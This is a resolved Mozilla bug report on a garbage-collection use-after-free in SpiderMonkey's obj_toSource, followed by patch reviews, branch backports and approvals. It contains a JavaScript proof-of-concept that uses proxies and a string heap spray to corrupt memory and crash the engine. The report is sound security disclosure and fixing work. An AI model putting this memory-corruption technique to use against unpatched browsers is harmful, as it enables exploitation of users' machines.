GC hazard in obj_toSource

RESOLVED FIXED

Status

()

Core
JavaScript Engine
RESOLVED FIXED
7 years ago
7 years ago

People

(Reporter: Igor Bukanov, Assigned: Igor Bukanov)

Tracking

Other Branch
Points:
---
Dependency tree / graph

Firefox Tracking Flags

(blocking2.0 final+, blocking1.9.2 .11+, status1.9.2 .11-fixed, blocking1.9.1 .14+, status1.9.1 .14-fixed)

Details

(Whiteboard: [sg:critical?] fixed-in-tracemonkey [keep hidden until 566141 is fixed])

Attachments

(4 attachments)

(Assignee)

Description

7 years ago
obj_toSource contains the following pattern:

obj->lookupProperty(cx, id, &obj2, &prop);
...
obj->getProperty(cx, id, &val[0]);
...
obj2->dropProperty(cx, prop);

Similarly to the bug 566141 the code calls obj2->dropProperty after doing potentially complex operations. Again, as with the bug 566141, the proxies makes the bug easier to exploit but AFAICS on branches the liveconnect can be used to archive the same results as the getProperty call can run arbitrary Java code that can in turn call JS.

Here is a test case that crashes the current TM tip:

var obj = {x: 0};

// Make a proxy property of a getter/setter so enumerateOwn will be invoked
// during initial scanning of the object tree. The function than deletes
// a property from the object so property lookup during the enumeration
// will go into prototype.
function f() {}
f.p = Proxy.create({ enumerateOwn: function() {
            delete obj.x;
            return [];
        }});
obj.__defineGetter__.call(obj, 'a', f);
obj.__defineSetter__.call(obj, 'a', f);

var buffer = [];
for (var i = 0; i != 4000; ++i)
    buffer.push({});

function force_gc() {
    print('gc');
    buffer = null;
    gc();
    buffer = [];
    for (var i = 0; i != 1e5; ++i)
        buffer.push("123456".substring(1));
}

// Make another proxy a prototype of Object.prototype. The has method for this
// proxy is called for the deleted property x during attribute lookup in
// obj_toSource. The method restores Object.prototype.__proto__ back to null
// and defines a getter for the x on the original object. This getter triggers
// gc that collects now unrooted proxy object and spray the freed GC arenas
// with strings leading to a crash during dropProperty call.
Object.prototype.__proto__ = Proxy.create({
      has: function(name) {
            if (name == "x") {
                Object.prototype.__proto__ = null;
                obj.__defineGetter__('x', force_gc);
                return true;
            }
            return false;
        },

      getOwnPropertyDescriptor: function(name) { return {}; }
    });

obj.toSource();
(Assignee)

Comment 1

7 years ago
Created attachment 447368 [details] [diff] [review]
v1
Attachment #447368 - Flags: review?(brendan)
Attachment #447368 - Flags: review?(brendan) → review+
(Assignee)

Comment 2

7 years ago
Nominating for branches as in principle the bug could be exploited there using LiveConnect.
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
(Assignee)

Comment 3

7 years ago
http://hg.mozilla.org/tracemonkey/rev/fa51bdbbdd46
Whiteboard: fixed-in-tracemonkey

Updated

7 years ago
Whiteboard: fixed-in-tracemonkey → [sg:critical?] fixed-in-tracemonkey
(Assignee)

Updated

7 years ago
Depends on: 568485

Updated

7 years ago
Whiteboard: [sg:critical?] fixed-in-tracemonkey → [sg:critical?] fixed-in-tracemonkey [critsmash:patch]
Please request branch patch approvals when you're ready to land this on the stable branches.
blocking1.9.1: ? → needed
blocking1.9.2: ? → needed
status1.9.1: --- → wanted
status1.9.2: --- → wanted

Comment 5

7 years ago
http://hg.mozilla.org/mozilla-central/rev/fa51bdbbdd46
Status: NEW → RESOLVED
Last Resolved: 7 years ago
Resolution: --- → FIXED
(Assignee)

Comment 6

7 years ago
This bug should be a blocker on branches. AFAICS with liveconnect one can build an exploit here.
status1.9.1: wanted → ?
status1.9.2: wanted → ?
(Assignee)

Comment 7

7 years ago
Created attachment 465980 [details] [diff] [review]
fix for 192

192 backport follows the logic of TM patch adjusted for older internal API.
Attachment #447368 - Attachment is obsolete: true
Attachment #465980 - Flags: review?(gal)

Updated

7 years ago
Attachment #465980 - Flags: review?(gal) → review+
(Assignee)

Updated

7 years ago
Attachment #447368 - Attachment is obsolete: false
(Assignee)

Comment 8

7 years ago
Created attachment 466251 [details] [diff] [review]
fix for 191

191 needs a separated fix to account for OBJ_LOOKUP_PROPERTY change on later
branches. Here is a plain diff against 192 version:

4,5c4
< @@ -771,71 +771,70 @@ obj_toSource(JSContext *cx, uintN argc, 
<          idIsLexicalIdentifier = js_IsIdentifier(idstr);
---
> @@ -769,71 +769,70 @@ obj_toSource(JSContext *cx, uintN argc, 
8c7,8
<              js_CheckKeyword(idstr->chars(), idstr->length()) != TOK_EOF;
---
>              js_CheckKeyword(JSSTRING_CHARS(idstr),
>                              JSSTRING_LENGTH(idstr)) != TOK_EOF;
14c14
< -            ok = obj2->getAttributes(cx, id, prop, &attrs);
---
> -            ok = OBJ_GET_ATTRIBUTES(cx, obj2, id, prop, &attrs);
16c16
< -                obj2->dropProperty(cx, prop);
---
> -                OBJ_DROP_PROPERTY(cx, obj2, prop);
44c44
< +                obj2->dropProperty(cx, prop);
---
> +                OBJ_DROP_PROPERTY(cx, obj2, prop);
50c50
<                  ok = obj->getProperty(cx, id, &val[0]);
---
>                  ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
54c54
< -            obj2->dropProperty(cx, prop);
---
> -            OBJ_DROP_PROPERTY(cx, obj2, prop);
68c68
<          ok = obj->getProperty(cx, id, &val[0]);
---
>          ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
Attachment #466251 - Flags: review?
Attachment #466251 - Flags: approval1.9.1.13?
(Assignee)

Updated

7 years ago
Attachment #465980 - Flags: approval1.9.2.10?
(Assignee)

Updated

7 years ago
Attachment #466251 - Flags: review? → review+
blocking1.9.1: needed → .13+
blocking1.9.2: needed → .10+
status1.9.1: ? → wanted
status1.9.2: ? → wanted

Updated

7 years ago
Attachment #465980 - Flags: approval1.9.2.10? → approval1.9.2.10+
Comment on attachment 466251 [details] [diff] [review]
fix for 191

Approved for 1.9.1.13, a=dveditz for release-drivers
Attachment #466251 - Flags: approval1.9.1.13? → approval1.9.1.13+
and Approved for 1.9.2.10
Whiteboard: [sg:critical?] fixed-in-tracemonkey [critsmash:patch] → [sg:critical?] fixed-in-tracemonkey [keep hidden until 566141 is fixed]
(Assignee)

Comment 11

7 years ago
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/9d509dcb3daf

http://hg.mozilla.org/releases/mozilla-1.9.1/rev/1de1a456c058
status1.9.1: wanted → .14-fixed
status1.9.2: wanted → .11-fixed

Comment 12

7 years ago
Created attachment 481170 [details] [diff] [review]
1.8.0 version
Attachment #481170 - Flags: review?(igor)
(Assignee)

Updated

7 years ago
Attachment #481170 - Flags: review?(igor) → review+
Group: core-security
You need to log in before you can comment on or make changes to this bug.